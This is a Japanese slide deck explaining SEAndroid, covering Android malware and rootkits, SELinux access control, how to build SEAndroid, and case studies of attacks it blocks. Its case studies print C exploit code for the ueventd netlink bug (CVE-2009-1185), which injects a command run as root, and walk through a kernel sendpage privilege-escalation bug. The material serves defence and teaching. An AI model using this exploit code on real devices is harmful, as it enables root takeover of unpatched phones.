Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

SEAndroid -AndroidのアーキテクチャとSE化について-

21,855 views

Published on

AndroidのアーキテクチャからSEAndroidの利用方法、実際に効果があるのかについて詳しく説明しています。PDF versionはこちらから https://docs.google.com/open?id=0B7RVwU1GbWv7UkxfRVYxQk9QcDQ

Published in: Technology

SEAndroid -AndroidのアーキテクチャとSE化について-

  1. 1. SEAndroid-AndroidのアーキテクチャとSE化について-Hiromu Yakura
  2. 2. 自己紹介矢倉大夢 @hiromu1996未踏 2011Linux Kernel Contributer
  3. 3. Androidに関する活動AndroidのLinux Kernelに関するExploitの解析Android Bazaar and Conferenceでの発表 Androidセキュリティ部として活動
  4. 4. Androidセキュリティ部http://anj.mns.me/  JSSECの特別会員として参加 ガイドラインの策定 セキュリティ関連の記事の執筆
  5. 5. Androidマルウェアの増加 McAfee Threats Report: First Quarter 2012より
  6. 6. Androidマルウェアの種類スパイウェア 端末に登録されている情報を盗み出す SMSの情報を使い、有料SMSでも ける手口
  7. 7. Androidマルウェアの種類Rootkit  バックドアを仕掛け、遠隔地からRoot権限で操作 別のマルウェアをインストールさせたり
  8. 8. Androidマルウェアの種類 F-Secure Mobile Threat Report 2012 Q1より
  9. 9. 2012年第一四半期の統計DroidKungFu  アップデートを利用してマルウェア化 現在のところ検知した個体の割合は2.8%程度
  10. 10. Rootkitの脅威Rootkitの割合は現在少ない 現在の主流はスパイウェア 脅威の度合いは比べ物にならない
  11. 11. スパイウェア
  12. 12. 一般アプリケーション権限 AppID 1 AppID 2 パーミッション パーミッション SMS Internet 電話帳 GPS Android OS
  13. 13. 一般アプリケーション権限 AppID 1 AppID 2 パーミッション パーミッション SMS Internet 電話帳 GPS Android OS
  14. 14. Rootkit
  15. 15. Root権限 RootApp AppID 2 パーミッション パーミッション SMS Internet 電話帳 GPS Android OS
  16. 16. Rootkitの脅威Root権限で操作できる Application Sandboxにとらわれない 別のアプリケーションのデータを見る 別のマルウェアをインストールさせる システム領域にファイルをインストールできる
  17. 17. Rootkitの脅威Androidのウイルス対策ソフトで駆除できない 対策ソフトは一般のアプリケーションの権限 Rootkitはシステム領域にインストールする 対策ソフトからは削除できない
  18. 18. Rootkitの脅威パーミッションに縛られない パーミッションがなくてもなんでも使える 電話帳読み取りとか 設定の書き換えとか
  19. 19. Rootkitの脅威スパイウェアは怪しいパーミッションを要求Rootkitはパーミッションを要求しない 一般ユーザーはRootkitを判別できない 他のアプリにRootkitを埋め込める 元のアプリと要求するパーミッションは一緒
  20. 20. Rootkitへの対策Rootを奪取される原因となった脆弱性を塞ぐ 現状ではこれ以外の対処法はない しかしすぐに塞げるわけではない
  21. 21. DroidDreamへの対策DroidDream  CVE-2009-1185  最初の報告が2009年3月 CVE-2010-EASY  最初の報告が2010年8月
  22. 22. DroidDreamへの対策Androidでの対応は遅かった HTC EVO WiMAXは2011年9月に対策アップデート Softbank 003Zは2011年11月に対策アップデート 対策までに1年以上かかった
  23. 23. ユーザーのRoot化ユーザーによるRoot化も問題になっている ベンダーや通信業者にとっては大きなリスク 不当な改造に対して補償させられる 不当な金額で通信を行われる
  24. 24. 新たな対処法新たな対処法として現れたのがSEAndroid Security Enhanced Android  2012年1月にリリース SELinuxのAndroidバージョン
  25. 25. SELinuxLinux Security Moduleのひとつ アメリカ国家安全保障局が主体となって開発 2000年にリリース 2003年にLinux Kernelのメインラインにマージ
  26. 26. Linux Security ModuleLinuxカーネルでのセキュリティフレームワーク AppArmor  TOMOYO Linux 
  27. 27. SELinuxの機能強制アクセス制御最小特権 Type Enforcement  Role Base Access Control 監査ログ
  28. 28. 強制アクセス制御従来のアクセス制御リソースの所有者が権限を変更できるrootならどのファイルも自由にアクセスできる
  29. 29. 強制アクセス制御強制アクセス制御所有者に対しても制限をかけることができるrootの特権を制限することも可能
  30. 30. Type Enforcementプロセスに対して「ドメイン」リソースに対して「タイプ」 ドメインがそれぞれのタイプに対して可能な操作を 「アクセスベクタ」として設定できる
  31. 31. Role Base Access Controlユーザーに対して「ロール」を設定 デフォルトではuser_t, staff_r, sysadm_r SELinuxの設定を変更できるのはsysadm_rだけ
  32. 32. 監査ログSELinuxによって拒否された操作 すべて監査ログに記録 不正アクセスの検知
  33. 33. SEAndroidSELinuxをAndroidに移植したのがSEAndroid さらにAndroid向けの機能を追加している Applicationに対するポリシー適用
  34. 34. SEAndroidの機能それぞれのアプリケーションにはIDが与えられる 強制アクセス制御に基づいた制限を可能に アクセスできる機能の制限 アクセスできるリソースの制限
  35. 35. SEAndroidの機能IDに対してアクセスできる機能を制限 Wifi, Bluetooth, GPS....  Androidのパーミッションモデルと似ている カーネルレベルで適用可能 rootを奪取されても制限をかけられる
  36. 36. SEAndroidの機能IDに対してアクセスできるリソースを制限 別IDのアプリケーションデータにはアクセス不可 システムプロセスにはアクセス不可
  37. 37. SEAndroidの実装SELinuxを移植するにあって追加した実装 カーネルでの実装 ユーザーランドでの実装 Android向けポリシーの作成 ビルドツールの作成
  38. 38. カーネルでの実装依存する機能の有効化 Audit, Xattr, Security Moduleなどyaffs2へのセキュリティラベル機能の追加 inodeにセキュリティ情報を格納できるようにIPCに対するパーミッションチェックの追加
  39. 39. ユーザーランドでの実装SEAndroidのAPI実装 Bionicからxattrのシステムコールを呼べるように Androidアプリからも権限情報を読み込める 実装するAPIは最小限に デバイスではポリシーを書き換えられないように
  40. 40. ユーザーランドでの実装ファイルシステムツールへの追加実装セキュリティラベルを読み込めるようにシステムプロセスの拡張init, ueventd, toolbox, installd, dalvik, zygote
  41. 41. ユーザーランドでの実装init / ueventdへの追加実装 起動時に最初に起動するプロセス ポリシーの読み込み ファイルへのラベリング SEAndroidの有効化
  42. 42. ユーザーランドでの実装Toolboxへの追加実装 Shellで使用するコマンド群 chcon, setenforce, setseboolなど
  43. 43. ユーザーランドでの実装installdへの追加実装 アプリケーションのインストールを行うプロセス アプリケーションにドメインを発行可能に インストールディレクトリへのラベルシステム 別のアプリがデータを読み込めないように
  44. 44. ユーザーランドでの実装Dalvic VM/Zygoteへの追加実装 アプリケーションを実行するVM SEAndroidのポリシーを読み込みに対応
  45. 45. ユーザーランドでの実装SEAndroidの設定アプリケーション 監査ログを読み込める SEAndroidのOn/Off, オプションを切り替えられる SEAndroidの有効時には切り替え権限がない
  46. 46. Android向けポリシーの作成Android向けにフルスクラッチで作成ドメインを細かく分割 システムプロセス、アプリケーション それぞれに別のドメインを割り振り 一般ユーザーにあまり意識させないように
  47. 47. ビルドツールの作成ファイルシステム作成ツールSEAndroidに対応したファイルシステムを作成 yaffs2, ext4に対応
  48. 48. ビルドツールの作成ファイルラベリングツールポリシーファイルを元にビルド時にラベリング ソースコードのディレクトリに置かれているシステムファイルはビルド時以外に変更不能に
  49. 49. SEAndroidの利用これからはSEAndroidを利用する方法について Galaxy Nexusでの利用を例として説明 Galaxy S, Emulatorでの利用方法は公式Wikiに
  50. 50. SEAndroidのダウンロードAndroidのダウンロードはrepoというツールを使用 内部で動いているのはgitまずManifestをダウンロードしてrepoを初期化 repo init -u https://android.googlesource.com/ platform/manifest 
  51. 51. SEAndroidのダウンロードSEAndroid用のマニフェストを追加 wget http://selinuxproject.org/~seandroid/ local_manifest.xml -P .repo/ リポジトリのクローンを開始 repo sync 
  52. 52. 前準備端末からプロプライエタリなファイルを抽出adbで端末と接続している必要があるdevice/samsung/maguro/extract-files.sh
  53. 53. カーネルのビルドSEAndroidのカーネルをビルド kernel以下に4種類のカーネルソースがある kernel/omap: Galaxy Nexus kernel/samsung: Nexus S kernel/goldfish: Emulator kernel/tegra: Tegra 3
  54. 54. カーネルのビルド使用するカーネルのディレクトリで作業ARCH=arm make tuna_defconfig ARCH=arm make menuconfig  SELinuxが有効化されているのを確認 [*] NSA SELinux Support 
  55. 55. カーネルのビルドカーネルのビルド ARCH=arm make   cp arch/arm/boot/zImage ../../device/samsung/ maguro/kernel 
  56. 56. Androidのビルド環境変数などを設定 source build/envsetup.sh  lunch  ビルドの一覧が出る full_maguro-userdebugを選択
  57. 57. Androidのビルドビルドを開始する make HAVE_SELINUX=true  一晩放置しておく
  58. 58. 端末への書き込みfastbootを使って書き込み cd out/target/product/maguro  fastboot -w flashall 
  59. 59. SEAndroidの有効事例(1)Exploit.AndroidOS.lotoor DroidDreamとして拡散 AndroidMarketで提供されたことも
  60. 60. SEAndroidの有効事例(1)Exploidを使用してroot権限を奪取 CVE-2009-1185のExploit ueventdの脆弱性 netlinkメッセージの部分に脆弱性
  61. 61. SEAndroidの有効事例(1)ueventdとは root権限で動作しているシステムプロセス /dev以下の管理を行なっている Linuxでいうudevのようなもの
  62. 62. SEAndroidの有効事例(1)SEAndroidの有効事例Exploitコード int main(int argc, char **argv) { int sock; char *mp; char message[4096]; struct msghdr msg; struct iovec iovector; struct sockaddr_nl address; memset(&address, 0, sizeof(address)); address.nl_familyatoi(argv[1]); address.nl_pid = = AF_NETLINK; address.nl_groups (void*)&address; msg.msg_name = = 0; msg.msg_namelen = sizeof(address); msg.msg_iov = &iovector; msg.msg_iovlen = 1; sock = socket(AF_NETLINK, *) &address, sizeof(address)); bind(sock, (struct sockaddr SOCK_DGRAM, NETLINK_KOBJECT_UEVENT); mp = message; mp += sprintf(mp, "SUBSYSTEM=block") ++ 1; mp += sprintf(mp, "DEVPATH=/dev/foo") 1; mp += sprintf(mp, "ACTION=remove") +1; mp += sprintf(mp, "REMOVE_CMD=/tmp/run") +1; iovector.iov_base = (void*)message; iovector.iov_len&msg, 0); sendmsg(sock, = (int)(mp-message); close(sock); return 0; }
  63. 63. SEAndroidの有効事例(1)SEAndroidの有効事例Exploitコードstruct sockaddr_nl address;memset(&address, 0, sizeof(address));address.nl_family = AF_NETLINK;address.nl_pid = atoi(argv[1]);address.nl_groups = 0;struct msghdr msg;msg.msg_name = (void*)&address;msg.msg_namelen = sizeof(address);msg.msg_iov = &iovector;msg.msg_iovlen = 1;
  64. 64. SEAndroidの有効事例(1)SEAndroidの有効事例Exploitコードsock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);bind(sock, (struct sockaddr *) &address, sizeof(address));mp = message;mp += sprintf(mp, "SUBSYSTEM=block") + 1;mp += sprintf(mp, "DEVPATH=/dev/foo") + 1;mp += sprintf(mp, "ACTION=remove") +1;mp += sprintf(mp, "REMOVE_CMD=/tmp/run") +1;iovector.iov_base = (void*)message;iovector.iov_len = (int)(mp-message);sendmsg(sock, &msg, 0);close(sock);
  65. 65. SEAndroidの有効事例(1)AF_NETLINKにソケット通信 カーネルとユーザーランドの通信用のソケット NETLINK_KOBJECT_UEVENT  ユーザーランドへのカーネルからの通信
  66. 66. SEAndroidの有効事例(1)SUBSYSTEM=BLOCK, DEVPATH=/dev/foo,ACTION=REMOVE, REMOVE_CMD=/tmp/run /dev/fooというブロックデバイスが取り外された トリガーとして/tmp/runを実行
  67. 67. SEAndroidの有効事例(1)ueventdはソケット通信を受け取る /tmp/runを実行するueventdが通信の送り元を識別していないのが問題点 ユーザーランドからの通信でも実行してしまう kernelの権限=root権限として実行
  68. 68. SEAndroidの有効事例(1)SEAndroidはどう作用するのか 一般ユーザーからはNetlinkへソケット通信できない ueventdは/proc/sys/kernel/hotplugへ書き込めない ポリシーで制限されているExploitは脆弱性を利用できない
  69. 69. SEAndroidの有効事例(2)Android.Exploit.Asroot  SetupSUなどという名前で拡散 rootを奪取してsuとbusyboxを/system/xbinに配置
  70. 70. SEAndroidの有効事例(2)SEAndroidの有効事例asrootを使用してrootを奪取 asrootはCVE-2009-2692のExploit Linux Kernelの脆弱性 BluetoothのL2CAPの実装に問題がある
  71. 71. SEAndroidの有効事例(2)SEAndroidの有効事例net/socket.c static ssize_t sock_sendpage(struct file *file, struct page *page,     int offset, size_t size, loff_t *ppos, int more) { struct socket *sock; int flags; sock = file->private_data; flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT; if (more) flags |= MSG_MORE; return sock->ops->sendpage(sock, page, offset, size, flags); } これが初期化されていない
  72. 72. SEAndroidの有効事例(2)SEAndroidの有効事例net/bluetooth/l2cap_sock.c static int l2cap_sock_create(struct net *net, struct socket *sock, int protocol) { struct sock *sk; BT_DBG("sock %p", sock); l2cap_sock_opsを代入 /* 略 */ sock->ops = &l2cap_sock_ops; sk = l2cap_sock_alloc(net, sock, protocol, GFP_ATOMIC); if (!sk) return -ENOMEM; l2cap_sock_init(sk, NULL); return 0; }
  73. 73. SEAndroidの有効事例(2)SEAndroidの有効事例net/bluetooth/l2cap.c static const struct proto_ops l2cap_sock_ops = { .family .owner = PF_BLUETOOTH, = THIS_MODULE, sendpageが存在しない .release = l2cap_sock_release, .bind = l2cap_sock_bind, .poll = bt_sock_poll, .ioctl = bt_sock_ioctl, .mmap = sock_no_mmap, .socketpair = sock_no_socketpair, .shutdown = l2cap_sock_shutdown, .setsockopt = l2cap_sock_setsockopt, .getsockopt = l2cap_sock_getsockopt };
  74. 74. SEAndroidの有効事例(2)SEAndroidの有効事例sock->ops->sendpage()の参照先を書き換え 参照先でuid=0 (root)に書き換えるカーネルの脆弱性でroot権限を取得できる
  75. 75. SEAndroidの有効事例(2)SEAndroidの有効事例SEAndroidは脆弱性を塞げるわけではない root権限は奪取されてしまうしかしながらsuとbusyboxを配置することはできない SEAndroidによって書き込みが禁止されている ユーザーがroot権限を使用することはできない
  76. 76. SEAndroidの有効事例(3)アプリケーションレイヤーでの問題 CVE-2011-1717  Skype for Androidの脆弱性
  77. 77. SEAndroidの有効事例(3)CVE-2011-1717  Skypeはユーザーの個人情報を使用 暗号化なしで保存されていた 他のアプリケーションも読み込み可能な部分 アカウント, 連絡先, チャットログなど
  78. 78. SEAndroidの有効事例(3)SEAndroidはアプリケーションレイヤーでも有効 他のアプリケーションからの読み込みはできない アプリケーション毎のIDでアクセス制御 他のIDのリソースには一切アクセスできない
  79. 79. SEAndroidの欠点ここまではSEAndroidの利点について説明これからはSEAndroidの欠点について SEAndroidはよいことづくめではない
  80. 80. SEAndroidの欠点速度 体感では少しもっさりしている Quadrant Benchmark Standardで比較
  81. 81. SEAndroidの欠点Galaxy Nexus 平均: 2574Galaxy Nexus with SEAndroid: 1874  ベンチマークスコアは18%ダウン Desire HD程度のスコア
  82. 82. SEAndroidの欠点一番差が大きかったのはI/O ベンチマークスコアは70%ダウン次に差が大きかったのはグラフィック 2Dは45%, 3Dは20%ダウン演算スピードはほとんど変わらず
  83. 83. SEAndroidの欠点バッテリーの持ち 体感半分くらいの持ち かるく熱をもっているような気もする
  84. 84. SEAndroidの欠点動作が非常に不安定 Enforcingモードでは頻繁に落ちる ホームアプリがSEAndroidによって無限ループに
  85. 85. SEAndroidの欠点現状ではまだ使えるレベルではない これは必ずしもSEAndroidの問題ではない SEAndroidは危険な行動を阻止しているだけ アプリ側にもセキュアな作りをする意識が必要
  86. 86. 結論SEAndroidは実用レベルではない しかし大きな可能性を秘めている Androidの堅牢性は飛躍的に向上する 少なくともAndroidに強制アクセス制御は必要
  87. 87. 結論SEAndroidとAndroidプラットフォームの融和が必要 SEAndroid単体で改善できる部分は少ない アプリケーション側で対応していくことも必要 メインラインにマージされるようになれば一番
  88. 88. 結論SEAndroidが一刻も早く普及してほしい キャリアやベンダーにとっても有用(? 個人的にはどこかが開発に参加してほしい

×